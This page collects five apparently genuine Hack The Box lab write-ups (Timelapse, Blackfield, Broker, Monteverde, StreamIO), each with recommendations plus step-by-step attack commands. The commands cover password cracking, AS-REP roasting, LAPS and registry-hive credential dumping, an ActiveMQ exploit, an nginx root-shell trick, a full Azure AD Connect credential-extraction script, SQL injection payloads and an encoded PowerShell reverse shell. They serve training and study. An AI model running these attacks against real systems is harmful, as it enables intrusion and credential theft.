DEV Community: nekohige

HTB - Timelapse Writeup - no Metasploit

nekohige — Fri, 13 Nov 2026 12:25:16 +0000

Summary

A shared folder (Shares) was accessible via the Guest account. Inside, there was a password-protected zip archive (PPAP-style). I cracked it with john (via zip2john), which revealed a .pfx file.
I cracked the .pfx password with john (via pfx2john) as well, and extracted the certificate and private key from it.
Using this certificate/key pair, I logged in via evil-winrm with cert-based authentication.
Inside that user’s PowerShell history, I found a login performed as svc_deploy, which exposed that account’s credentials.
According to BloodHound, svc_deploy belongs to the LAPS_READERS group, which has the ReadLAPSPassword right on dc01.timelapse.htb.
Using that right, I read the LAPS-managed local administrator password and obtained local administrator privileges on dc01.

Recommendation

Assuming this were a real environment, I would recommend the following.

Shares should not be accessible via the Guest account.
Review and remove unnecessary group nesting that grants service accounts excessive privileges, so that no path exists from a low-privileged account to Administrator.
Sensitive material such as password-protected ZIP or PFX files should never be stored in plaintext/unencrypted form on a shared folder — this is itself a secrets-storage failure, independent of how strong the password protecting them is.
Strengthen the password policy (length, complexity, resistance to dictionary attacks). The fact that the password was crackable with a dictionary attack (rockyou.txt) indicates weak password hygiene that should be addressed account-wide, not just for this one credential.
Avoid leaving credentials (e.g. svc_deploy’s) recoverable from command history such as PowerShell history; consider clearing history on sensitive accounts and auditing for credential exposure in logs/history files.

Enumeration

First of all, let's check open ports using nmap.

for i in 1 2; do sudo nmap -sS -Pn -p- --open -n --min-rate 1500 -oA scan_all$i 10.129.227.113; done

ports=$(grep -ohP '\d+(?=/open)' scan_all*.gnmap | sort -un | paste -sd, -); echo $ports
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.227.113

Port 53(DNS) and 88(Kerberos) and (389) are open while 135(RPC), 139(Netbios) and 445(SMB) are open. This suggests that it is a Windows machine with an Active Directory domain.

sudo nmap -sU -Pn --top-ports 100 -oN scan_udp.txt 10.129.227.113

No interesting UDPs are open.

Let's enumerate smb with anonymous and guest login.

nxc smb 10.129.227.113 -u '' -p '' --shares --users --groups

A domain name is revealed: timelapse.htb.

Let's check the Domain info.

dig @10.129.19.132 timelapse.htb any

A new domain name is revealed: dc01.timelapse.htb.

Let's add the mapping between domain and IP address.

echo "10.129.19.132 timelapse.htb dc01.timelapse.htb" | sudo tee -a /etc/hosts

nxc smb 10.129.227.113 -u 'guest' -p '' --shares --users --groups

It seems VPN connection error. I reconstructed the VPN connection from UDP to TCP.

nxc smb 10.129.19.132 -u 'guest' -p '' --shares --users --groups

The response has changed.

Let's get into the share: Shares.

smbclient //10.129.19.132/Shares -U 'timelapse.htb\guest%' -t 300

In the folder, there are curious files. Let's download all.

Exploitation

As shown below, winrm_backup.zip is password protected. zip2john can unlock it.

zip2john winrm_backup.zip > hash

john hash --wordlist=/usr/share/wordlists/rockyou.txt

.pfx is an archive containing a certificate and private key, extractable via openssl — but the password protecting it must be cracked first.

 pfx2john legacyy_dev_auth.pfx > pfx.hash
 john pfx.hash --wordlist=/usr/share/wordlists/rockyou.txt

Credential revealed! thuglegacy.

Let's unpack the certificate and private key, and then get a shell.

openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out legacyy_dev_auth.crt

openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -nodes -out legacyy_dev_auth.key

evil-winrm -i 10.129.19.132 -c legacyy_dev_auth.crt -k legacyy_dev_auth.key -S

there is a user.txt at C:\Users\legacyy\Desktop.

Hooray!

Privilege Escalation

Let's use bloodhound.

upload SharpHoound.ps1
. .\SharpHound.ps1

Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\legacyy\Documents -OutputPrefix "bloodhound"

Nothing special.

After some search, there is a Powershell history.

type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Let' use the credential.

 nxc winrm 10.129.19.132 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV'

According to the bloodhound, the user:svc_deploy belogs to LAPS_READERS that has ReadLAPSPassword of dc01.timelapse.htb.

Let's read the password using the method written in Bloodhound.

bloodyAD --host 10.129.19.132 -d 'timelapse.htb' -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.19.132 -u 'Administrator' -p 'K%HQZ9;N17k,0usB9vK2{N]y' $a; done; done; for p in ssh ftp; do nxc $p 10.129.19.132 -u 'Administrator' -p 'K%HQZ9;N17k,0usB9vK2{N]y'; done

evil-winrm -i 10.129.19.132 -u 'Administrator' -p 'K%HQZ9;N17k,0usB9vK2{N]y' -S

type C:\Users\TRX\Desktop\root.txt

Hooray!

Lessons Learned

.pfx is a password-protected archive (PKCS#12) bundling a cert + private key. Common output of AD CS attacks.

pfx2john cert.pfx > hash
john hash --wordlist=rockyou.txt

Extract with openssl

openssl pkcs12 -in cert.pfx -clcerts -nokeys -out cert.crt   # cert
openssl pkcs12 -in cert.pfx -nocerts -nodes -out cert.key    # key

evil-winrm

evil-winrm -i <IP> -c cert.crt -k cert.key -S

HTB - Blackfield Writeup - no Metasploit

nekohige — Tue, 10 Nov 2026 12:14:43 +0000

Summary

The target was a Windows machine having an Active Directory domain.
Using the Guest account, I was able to browse a shared folder, where a folder named profiles$ revealed a list of valid usernames.
Using those usernames, I performed an AS-REP Roasting attack and found that the user support had Kerberos pre-authentication disabled.
support had permission to change the password of audit2020. After resetting it, I used the audit2020 account to access another shared folder.
Inside that folder was lsass.zip, from which I extracted the credentials of svc_backup.
svc_backup had the SeBackupPrivilege right, so I used diskshadow and robocopy to retrieve the SAM, SYSTEM, and SECURITY hives.
Running impacket-secretsdump against these hives revealed the Administrator password.

Recommendation

Assuming this were a real environment, I would recommend the following:

Restrict access to sensitive shared folders so they are not accessible via the Guest account.
Do not disable Kerberos pre-authentication for user accounts unless absolutely necessary.
Regularly audit delegated permissions, such as support’s ability to reset audit2020’s password, and revoke them once they are no longer needed.

Enumeration

First of all, let's enumerate open ports using namp as follows.

for i in 1 2; do sudo nmap -sS -Pn -p- --open -n --min-rate 1500 -oA scan_all$i 10.129.229.17; done

ports=$(grep -ohP '\d+(?=/open)' scan_all*.gnmap | sort -un | paste -sd, -); echo $ports
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.229.17

Ports 135(RPC) and 445(SMB) are open. Also, 53(DNS), 88(Kerberos) and 389(LDAP) are open, too. This suggests a standalone Windows machine having an Active Directory domain.

No interesting UDPs are open.

Since it's a Windows machine with active directory, let's try anonymous and guest login for shares, users and groups at first.

nxc smb 10.129.229.17 -u '' -p '' --shares --users --groups

No info is revealed except domain: BLACKFIELD.local.

nxc smb 10.129.229.17 -u 'guest' -p '' --shares --users --groups

No info is revealed.

Let's check the domain info.

dig @10.129.229.17 BLACKFIELD.local any

New domain name is revealed, dc01.BLACKFIELD.local.

Let's add the mapping between the IP and domain names to /etc/hosts.

echo "10.129.229.17 BLACKFIELD.local dc01.BLACKFIELD.local" | sudo tee -a /etc/hosts

After some research, I figured out that VPN connection was bad. I changed the protocol from UDP to TCP and then the outcome has changed as follows.

nxc smb 10.129.229.17 -u 'guest' -p '' --shares --users --groups

Let's check profiles$.

smbclient //10.129.229.17/profiles$ -U 'BLACKFIELD.local\guest%'

Many contents. But no files. This information seems usernames. So, let's make a users.txt.

Exploitation

Let's check whether there is a user without pre-authentication.

impacket-GetNPUsers BLACKFIELD.local/ -request -format hashcat -outputfile asrep.txt -usersfile users.txt -dc-ip 10.129.229.17

support does not have pre-authentication.

hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule

Cracked! support:#00^BlackKnight

Let's check what we can do.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.229.17 -u 'support' -p '#00^BlackKnight' $a; done; done; for p in ssh ftp; do nxc $p 10.129.229.17 -u 'support' -p '#00^BlackKnight'; done

SMB is positive. Let's check what we can do with smb.

 nxc smb 10.129.229.17  -u 'support' -p '#00^BlackKnight'   --shares --users --groups

Valid usernames are found.

Let's get into shared folders.

smbclient //10.129.229.17/NETLOGON -U 'BLACKFIELD.local\support%#00^BlackKnight'

Nothing

smbclient //10.129.229.17/SYSVOL -U 'BLACKFIELD.local\support%#00^BlackKnight'

However, not good info.

Let's check bloodhound.

bloodhound-ce-python -u support -p '#00^BlackKnight' -d BLACKFIELD.local -ns 10.129.229.17 -c all

support can change the password of audit2020.

Let's change it.

net rpc password "audit2020" "newP@ssword2022" -U "BLACKFIELD.local"/"support"%"#00^BlackKnight" -S "dc01.blackfield.local"

 for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.229.17 -u 'audit2020' -p 'newP@ssword2022' $a; done; done; for p in ssh ftp; do nxc $p 10.129.229.17 -u 'audit2020' -p 'newP@ssword2022'; done

Let's check the shares.

nxc smb 10.129.229.17 -u 'audit2020' -p 'newP@ssword2022' --shares

Let's connect to the folder and download every conetent.

smbclient //10.129.229.17/forensic -U 'BLACKFIELD.local\audit2020%newP@ssword2022'
recurse ON
prompt OFF
mget *

However, some files were too large to download completely.

So I retried with an extended timeout of 300 seconds (-t 300), as shown below.

 smbclient //10.129.229.17/forensic -U 'BLACKFIELD.local\audit2020%newP@ssword2022' -t 300

We can see lsass.zip. Let’s extract and analyze its contents.

pypykatz lsa minidump lsass.DMP

We found a credential! svc_backup:9658d1d1dcd9250115e2205d9f48400d

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.229.17 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d' $a; done; done; for p in ssh ftp; do nxc $p 10.129.229.17 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'; done

Winrm is available.

evil-winrm -i 10.129.229.17 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d
cat ../Desktop/user.txt

Hooray!

Privilege Escalation

Checking whoami /priv reveals that svc_backup has SeBackupPrivilege. So, let’s dump the SAM, SYSTEM, and SECURITY to extract the Administrator’s credentials.

reg save hklm\sam C:\Users\Public\sam ; reg save hklm\system C:\Users\Public\system ; reg save hklm\security C:\Users\Public\security

impacket-secretsdump -sam sam -system system  LOCAL

However, the credential for admin is not effective.

SECURITY is necessary so that I used diskshadow and robocopy to get it.

Set-Content -Path diskshadow.txt -Encoding ASCII -Value "set metadata C:\Windows\Temp\meta.cab"
Add-Content -Path diskshadow.txt -Encoding ASCII -Value "set context persistent nowriters"
Add-Content -Path diskshadow.txt -Encoding ASCII -Value "add volume c: alias cdrive"
Add-Content -Path diskshadow.txt -Encoding ASCII -Value "create"
Add-Content -Path diskshadow.txt -Encoding ASCII -Value "expose %cdrive% z:"
Add-Content -Path diskshadow.txt -Encoding ASCII -Value "exit"

diskshadow /s diskshadow.txt

robocopy /b Z:\Windows\System32\config C:\Users\svc_backup\Documents\configbackup SAM SECURITY SYSTEM

cd C:\Users\svc_backup\Documents\configbackup
download SYSTEM
download SAM
download SECURITY

impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY  LOCAL

evil-winrm -i 10.129.229.17 -u Administrator -p '###_ADM1N_3920_###'
type C:\Users\Administrator\Desktop\root.txt

Lessons Learned

If you see a NetBIOS timeout, it may indicate that the VPN connection is unstable or broken. Try switching from UDP to TCP, or use a different VPN connection.
By default, smbclient can time out when downloading large files (e.g. the SYSTEM hive), so the download fails partway through. Use -t 300 to extend the timeout. Also, even when you have SeBackupPrivilege, you may be able to retrieve SAM and SYSTEM but still fail to grab SECURITY through normal means. In that case, using diskshadow together with robocopy (in backup mode, /b) works well.
pypykatz is a useful tool for this kind of work. lsass.exe (Local Security Authority Subsystem Service) is a core Windows process responsible for enforcing security policy and handling user authentication; it keeps credential material (password hashes, Kerberos tickets, etc.) in memory while a user is logged on. If an attacker can dump the memory of this process (e.g. with procdump or Task Manager), tools like pypykatz (a Python reimplementation of Mimikatz) can parse that memory dump offline on Linux to extract those credentials, without needing Mimikatz itself on Windows.

HTB - Broker Writeup - no Metasploit

nekohige — Fri, 06 Nov 2026 12:49:14 +0000

Summary

The target was running a vulnerable version of ActiveMQ.
The user account had a sudo rule allowing it to run nginx, which could be abused to execute commands as root — leading to privilege escalation.

Recommendation

Upgrade ActiveMQ to the latest version, and periodically check that all software and packages are kept up to date.
Close off any ports that don’t need to be reachable from outside.
Remove the sudo rule allowing nginx to be run by this user.
More generally, apply the principle of least privilege to sudoers entries.

Enumeration

First of all, let's enumerate open ports using namp.

sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.230.87

ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.230.87

Ports 20(SSH) and 80(HTTP) are open. This suggests it is a Linux machine.
Some unfamiliar ports 1883, 5672, 8161, 41835, 61613 and 61614 are open which need to be investigated later.

No interesting UDP ports are open.

Port 80(HTTP) and 8161(HTTP) have Basic Authentication as follows.
http://10.129.230.87:80

http://10.129.230.87:8161

Exploitation

After some research, I found that ActiveMQ OpenWire transport 5.15.15 has the vulnerability tracked as CVE-2023-46604.
https://github.com/advisories/GHSA-crg9-44h2-xw35

So I used the following PoC.
https://github.com/rootsecdev/CVE-2023-46604

What I did was change the listening IP address to mine in poc-linux.xml.

Let's execute it.

#Terminal A
nc -lvnp 9001

#Terminal B
python3 -m http.server 8000

# Terminal C
go run main.go -i 10.129.230.87 -p 61616 -u http://10.10.15.108:8000/poc-linux.xml

Then, I received the shell as follows.

cat /home/activemq/user.txt

Hooray!

Privilege Escalation

First of all, I checked sudo -l.

sudo -l

It is revealed that activemq can use nginx as root.

Let's check GTFOBins for nginx. There is a way for privilege escalation as follows.
https://gtfobins.org/gtfobins/nginx/

Let's try it.
First, make lib.so.

echo '__attribute__((constructor)) init() { execl("/bin/sh", "sh", 0); }' \
    | gcc -w -fPIC -shared -o lib.so -x c -

Second, make temp-file.

cat >/tmp/temp-file <<EOF
load_module /tmp/lib.so;
EOF

Third, execute it.

sudo nginx -t -c /tmp/temp-file

Hooray!

Lessons Learned

Nmap sometimes hangs on Linux, so from now on I’ll run it twice and drop --min-rate to around 1500.
Turns out OpenVPN was running twice, so I ended up connected on tun1 instead of tun0. Next time I’ll check ip route first.

HTB - Monteverde Writeup - no Metasploit

nekohige — Wed, 04 Nov 2026 14:53:58 +0000

Summary

An anonymous SMB connection via nxc exposed a list of usernames. One of these accounts had a password identical to its username, allowing access to view shares using that account.
An azure.xml file was found on users$ revealing credentials for the mhope account.
mhope was a member of the Azure Admins group, providing access to the Azure AD Connect server.
The target server was running Azure AD Connect. Using a known script, credentials for the Admin account were extracted.

Recommendation

Assuming this were a real environment, I would recommend the following.

Restrict anonymous SMB connections so that username enumeration is not possible.
Periodically audit accounts for cases where the password matches the username.

Enumeration

First of all, let's enumerate open ports using nmap as follows.

sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.228.111

ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.228.111

Ports 135(RPC), 139(Netbios), 445(SMB) are open while 53(DNS), 88(Kerberos) and 389(LDAP) are open. This suggests a Windows machine having an Active Directory domain.
The domain name is revealed as MEGABANK.LOCAL.

sudo nmap -sU -Pn --top-ports 100 -oN scan_udp.txt 10.129.228.111

No interesting UDP ports.

Let's check the domain info.

dig @10.129.228.111 MEGABANK.LOCAL any

A new domain name is revealed monteverde.MEGABANK.LOCAL.

Let's add the mapping between IP and domains.

echo "10.129.228.111 MEGABANK.LOCAL monteverde.MEGABANK.LOCAL" | sudo tee -a /etc/hosts

Since it's a Windows machine having Active Directory domain, let's try anonymous and guest login for shares, users and groups at first.

nxc smb 10.129.228.111 -u '' -p '' --shares --users --groups

10 local users are revealed.

Let's make users.txt.

Exploitation

impacket-GetNPUsers MEGABANK.LOCAL/ -no-pass -usersfile users.txt -dc-ip 10.129.228.111

Nothing.

Checking whether there is a user using username as password.

nxc smb 10.129.228.111 -u users.txt -p users.txt --no-bruteforce --continue-on-success

Yes! SABatchJobs:SABatchJobs.

Let's check the SMB using the credential.

nxc smb 10.129.228.111 -u 'SABatchJobs' -p 'SABatchJobs' --shares --users --groups

azure_uploads and users$ seem interesting.

smbclient //10.129.228.111/azure_uploads  -U 'MEGABANK.LOCAL\SABatchJobs%SABatchJobs'

Nothing special.

 smbclient //10.129.228.111/users$  -U 'MEGABANK.LOCAL\SABatchJobs%SABatchJobs'

azure.xml is found in mhope!

New Credential! mhope:4n0therD4y@n0th3r$

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.228.111 -u 'mhope' -p '4n0therD4y@n0th3r$' $a; done; done; for p in ssh ftp; do nxc $p 10.129.228.111 -u 'mhope' -p '4n0therD4y@n0th3r$'; done

evil-winrm -i 10.129.228.111 -u mhope -p 4n0therD4y@n0th3r$
type C:\Users\mhope\Desktop\user.txt

user.txt pawned!

Privilege Escalation

Let's start with BloodHound.

nxc ldap 10.129.228.111 -u mhope -p '4n0therD4y@n0th3r$' --bloodhound --collection All --dns-server 10.129.228.111 && mv ~/.nxc/logs/*bloodhound.zip .

The structure of mhope has Azure Admins which sounds interesting.

The 8th hint of Guide mode provides us this page, https://blog.xpnsec.com/azuread-connect-for-redteam/ .

Write-Host "AD Connect Sync Credential Extract POC (@_xpn_)`n"

$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()

$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()

add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)

$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}

Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)

The 3rd line needs to be changed as follows. This amendment is the same as the following site, https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Azure-ADConnect.ps1?source=post_page-----808ffe5cdded----------------------------------------- .

$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=localhost;Initial Catalog=ADSync;Integrated Security=True"

Then, let's run it.

powershell -ExecutionPolicy Bypass -File script.ps1

evil-winrm -i 10.129.228.111 -u administrator -p d0m@in4dminyeah!
type C:\Users\Administrator\Desktop\root.txt

Hooray!

Lessons Learned

I couldn’t come up with the fact that password is the same as the username.
The Azure AD Connect server may expose credentials for the MSOL account, which can be read by a known script.

HTB - StreamIO Writeup - no Metasploit

nekohige — Sun, 01 Nov 2026 12:21:47 +0000

Summary

There was a SQL injection vulnerability on the site, which allowed me to obtain user credentials.
A debug page had been left exposed, and it allowed for Remote Code Execution, which let me obtain a shell.
Using BloodHound, I found that JDgodd had WriteOwner permissions over Core Staff, and Core Staff had ReadLAPSPassword permissions over the DC. This allowed me to add JDgodd as a member of the Core Staff group and read the DC’s local administrator password via LAPS, which revealed the Administrator password and let me obtain a root shell. #### Recommendation
Use parameterized queries/placeholders to eliminate the SQL injection vulnerability.
Disable or remove debug pages that should only be used in development environments.

- Review and remove unnecessary group nesting that grants service accounts excessive privileges, and regularly audit ACLs for dangerous rights granted to non-admin principals, so that no path exists from a low-privileged account to Administrator.

Enumeration

First of all, let's enumerate open ports using nmap. I usually take the following 3 steps.

sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.63.72

ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.63.72

Ports 135(RPC), 139(NetBIOS/SMB), and 445(SMB) are open while 53(DNS), 389(LDAP) and 88(Kerberos) are open. This suggests a Windows machine having an Active Directory domain.
Also, ports 80 (HTTP) and 443 (HTTPS) are open, so there’s likely a web application running.
The following domain names are revealed, streamIO.htb and watch.streamIO.htb.

No interesting UDPs.

Let' check the domain info.

dig @10.129.63.72 streamIO.htb any

dig @10.129.63.72 watch.streamIO.htb any

DC name is revealed, dc.streamio.htb.

Add the mapping between domains and IP to /etc/hosts.

echo "10.129.63.72 streamIO.htb watch.streamIO.htb dc.streamio.htb" | sudo tee -a /etc/hosts

Since it's a Windows machine with Active Directory domain, let's try anonymous and guest login for shares, users and groups at first.

nxc smb 10.129.63.72 -u '' -p '' --shares --users --groups

Nothing special.

nxc smb 10.129.63.72 -u 'guest' -p '' --shares --users --groups

Nothing special.

Let's enumerate pages on Port 80(HTTP).
http://streamio.htb/

Not very interesting.

feroxbuster -u http://streamIO.htb -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt,bak

Nothing special.

feroxbuster -u http://watch.streamIO.htb -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt,bak

Nothing special.

Next, let's enumerate pages on Port 443(HTTPS).

feroxbuster -u https://streamIO.htb -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt,bak --insecure

https://streamio.htb/

There are names of employees. These might be usernames for this machine.

There is a login page. https://streamio.htb/login.php

We can create a new account but not able to login. https://streamio.htb/register.php

It seems interesting. https://streamio.htb/ADMIN/master.php

feroxbuster -u https://watch.streamIO.htb -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt,bak --insecure

There is a page. https://watch.streamio.htb/

A different page appears.

Exploitation

This looks like a classic SQLi target, https://watch.streamio.htb/search.php

I tried the following inputs, and they returned different results, which suggests the page is vulnerable to SQLi.

1'
1' --+

Also, ' OR 1=1 --+ returned Malicious Activity detected!! Session Blocked for 5 minutes. So, some commands are restricted.

Next, I tried -1' UNION SELECT 1,2,... --+ with varying numbers of columns, and found that the page behaved differently (worked correctly) when the input was -1' UNION SELECT 1,2,3,4,5,6 --+. > This suggests there are 6 columns on this page, and column number 2 must be the movie name, which can be used for displaying the content of db.

I enumerated as follows.

-1' UNION SELECT 1, TABLE_NAME, 3, 4, 5, 6 FROM INFORMATION_SCHEMA.TABLES --+

There are two tables, movies and users.

-1' UNION SELECT 1, COLUMN_NAME, 3, 4, 5, 6 FROM INFORMATION_SCHEMA.COLUMNS --+

Interesting column names found, username and password.

-1' UNION SELECT 1, username, 3, 4, 5, 6 FROM users --+

Usernames are revealed.

echo '
admin
Alexendra
Austin
Barbra
Barry
Baxter
Bruno
Carmon
Clara
Diablo
Garfield
Gloria
James
Juliette
Lauren
Lenord
Lucifer
Michelle
Oliver
Robert
Robin
Sabrina
Samantha
Stan
test
Thane
Theodore
Victor
Victoria
William
yoshihide' > users.txt

-1' UNION SELECT 1, password, 3, 4, 5, 6 FROM users --+

Passwords are revealed.

echo '
0049ac57646627b8d7aeaccf8b6a936f
08344b85b329d7efd611b7a7743e8a09
083ffae904143c4796e464dac33c1f7d
098f6bcd4621d373cade4e832627b4f6
0cfaaaafb559f081df2befbe66686de0
1c2b3d8270321140e5153f6637d3ee53
22ee218331afd081b0dcd8115284bae3
2a4e2cf22dd8fcb45adcb91be1e22ae8
35394484d89fcfdb3c5e447fe749d213
3577c47eb1e12c8ba021611e1280753c
384463526d288edcc95fc3701e523bc7
3961548825e3e21df5646cafe11c6c76
54c88b2dbd7b1a84012fabc1a4c73415
665a50ac9eaa781e4f7f04199db97a11
6dcd87740abb64edfa36d170f0d5450d
7df45a9e3de3863807c026ba48e55fb3
8097cedd612cc37c29db152b6e9edbd3
925e5408ecb67aea449373d668b7359e
b22abb47a02b52d5dfa27fb0b534f693
b779ba15cedfd22a023c4d8bcf5f2332
b83439b16f844bd6ffe35c02fe21b3c0
bf55e15b119860a6e6b5a164377da719
c660060492d9edcaa8332d89c99c9239
d62be0dc82071bccc1322d64ec5b6c51
dc332fb5576e9631c9dae83f194f8e70
ec33265e5fc8c2f1b0c137bb7b3632b5
ee0b8a0937abd60c2882eacb2f8dc49f
ef8f3d30a856cf166fb8215aca93e9ff
f03b910e2bd0313a23fdd7575f34a694
f87d3c0d6c8fd686aacc6627f1f493a5
fd78db29173a5cf701bd69027cb9bf6b' >passwords.txt

The found passwords look like hashes. Let's crack the passwords.

hashcat passwords.txt

There are many matches for hash-modes. Let's start with MD5.

hashcat -m 0 passwords.txt /usr/share/wordlists/rockyou.txt

Cracked!

echo 'highschoolmusical
test
physics69i
paddpadd
66boysandgirls..
%$clara
$monique$1991$
$hadoW
$3xybitch
##123a8j8w5123##
!?Love?!123
!5psycho8!
!!sabrina$' > cracked.txt

Next, I use SMB to look for a valid username and password combination:

nxc smb 10.129.63.72 -u users.txt -p cracked.txt

Nothing revealed.

I use the login form to figure out which username/password combination is valid next.

hydra -L users.txt -P cracked.txt -S streamio.htb https-post-form "/login.php:username=^USER^&password=^PASS^:F=failed"

Found! yoshihide:66boysandgirls..

After logging in, this page looks different: https://streamio.htb/ADMIN/ .

Let’s check whether there are any other pages.

ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt:FUZZ -u "https://streamio.htb/ADMIN/?FUZZ=" -b "PHPSESSID=juc21q6fjb7aop5h6b4s7rr3u4" -fs 1678

The page: https://streamio.htb/ADMIN/?debug= exists as follows.

Let me try entering master.php, which came up earlier. I got a response back, but nothing looks particularly unusual.
https://streamio.htb/ADMIN/?debug=master.php

As a test, I try extracting the source code using the php:// wrapper.
https://streamio.htb/ADMIN/?debug=php://filter/convert.base64-encode/resource=master.php

Let's use CyberChef to decode the source: https://gchq.github.io/CyberChef/.

It shows there is a dangerous code eval(file_get_contents($_POST['include']));.

Let's try using it.

It shows streamio\yoshihide. It works!

Let's use Reverse Shell Generator to get a reverse shell, https://www.revshells.com/.

echo 'system("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA3AC4AMQA1ADMAIgAsADQANAA0ADQAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA");' > reverse

python3 -m http.server 8000

nc -lvnp 4444

It works!

While checking the contents on the machine, I found 2 credentials for DB.

cat C:\inetpub\streamio.htb\register.php

db_admin:B1@hx31234567890

cat C:\inetpub\streamio.htb\register.php

db_user:B1@hB1@hB1@h

